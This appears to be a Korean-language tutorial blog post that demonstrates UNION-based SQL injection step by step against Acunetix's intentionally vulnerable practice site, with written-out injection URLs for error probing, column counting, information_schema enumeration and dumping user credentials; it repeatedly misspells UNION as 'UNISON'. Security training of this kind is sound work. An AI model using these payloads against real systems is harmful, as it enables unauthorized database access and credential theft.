[SQL Injection] Acunetix Test PHP를 이용한 테스트

 Acunetix Test PHP를 이용한 테스트






Acunetix 웹 스캐너 테스트 사이트인 TESTPHP 에 존재 하는 취약점을 이용하여 UNISON 기반 SQL 인젝션을 실습을 진행해 보겠습니다 . 


testphp.vulnweb.com 의 첫 화면   
























 
처음에는 SQL 인젝션에 취약한지 의심해봐야 합니다 .

 
파라미터에 싱글 쿼터를 삽입하면 다수의 파라미터에서 DB 의 에러 메세지가 노출될 것입니다 . 

그 중 Categories 메뉴의 Poster는 조회 결과 게시물이 나열되는 형태로 UNISON 기반 SQL 인젝션에 적합한 구조 입니다. 


Categories -> Poster



























취약점을 확인하기 



취약점이 존재하는지 확인하기 위해 cat=1 파라미터의 인자 값에 싱글 쿼터를 주입합니다. 

http://testphp.vulnweb.com/listproducts.php?cat=1'


 . 



























에러 메세지를 통해서 SQL 인젝션에 취약한 파라미터임을 알 수 있습니다 . 

에러의 원인을 좀더 자세히 파악하기 위해 'test 를 입력합니다 . 

















db의 에러메시지 중 'test 가 출력되었습니다 . 
 취약한 SQL 파라미터가 에러의 원인임을 확인할 수 있습니다 . 





UNISON 기반 SQL인젝션 테스트



숫자형 데이터는 싱글쿼터 주입없이 SQL 구문 주입이 가능하기 때문에 주석 처리 식별자를 대입합니다 . 
주석처리 # 의 마크 예약어인 %23으로 확인 할 수 있습니다 .
cat=1 %23을 입력하여 결과를 확인합니다 .

http://testphp.vulnweb.com/listproducts.php?cat=1%23























주석처리 결과 에러 없이 정상적인 웹페이지가 출력됩니다 . 





컬럼의 개수 확인하기 




UNISON 명령어를 사용하기 위해서는 칼럼의 개수 확인이 가장 먼저 선행되어야 합니다 . 

칼럼의 개수 확인은 앞에서 학습한 Order By 절을 사용한다 .
 
다음과 같이 칼럼의 개수가 10개를 초과하는지 테스트 합니다 . 


























정상적으로 페이지가 출력되었습니다 . 
이어서 20개를 초과하는지 테스트 합니다 . 


























테스트 결과 20번째 칼럼은 존재하지 않기 때문에 에러가 발생하였습니다 . 
동일한 방식으로 테스트한 결과 11개의 컬럼을 사용한다는것을 확인했습니다 . 




데이터타입 확인하기

에러 메세지로 확인했듯이 이 웹사이트의 DB는 MySQL 입니다 . 
MySQL은 매우 유연한 묵시적 형 변환을 제공하기 때문에 "null" 대신에 1~11 까지 숫자를 대입합니다 . 
노출되는 칼럼의 위치를 확인한 후 다음에 데이터형을 확인하는 것이 효율적입니다 . 

http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11%23
 


























수행결과 맨 하단 게시물을 확인하면 7,2,9 컬럼의 값이 화면에 노출됩니다 . 

7,2,9번 모두 앞의 게시물과비교하면 데이터 유형은 문자열이라는 것을 확인 할 수 있습니다 . 


테이블 및 칼럼 획득


DB의 데이터를 획득하기 위해서 테이블과 칼럼 정보가 필요합니다 .

테이블 목록 획득은 information_schema.tables 객체를 이용합니다 .

http://testphp.vulnweb.com/listproducts.php?cat=1+and+1=2+union+select+1,2,3,4,5,6,table_name,8,9,10,11+from+information_schema.tables+where+table_type=%27base+table%27%23






 








아무런 데이터도 획득하지 못했습니다.








컬럼목록 획득은 information_schema.colums 객체를 이용합니다 .


http://testphp.vulnweb.com/listproducts.php?cat=1+and+1=2+union+select+1,2,3,4,5,6,column_name,8,9,10,11+from+information_schema.columns+where+table_name=%27users%27%23
 


























데이터 조회하기 


http://testphp.vulnweb.com/listproducts.php?cat=1+and+1=2+union+select+1,2,3,4,5,6,concat_ws(%27,%27,uname,pass),8,9,10,11+from+users%23.














 




댓글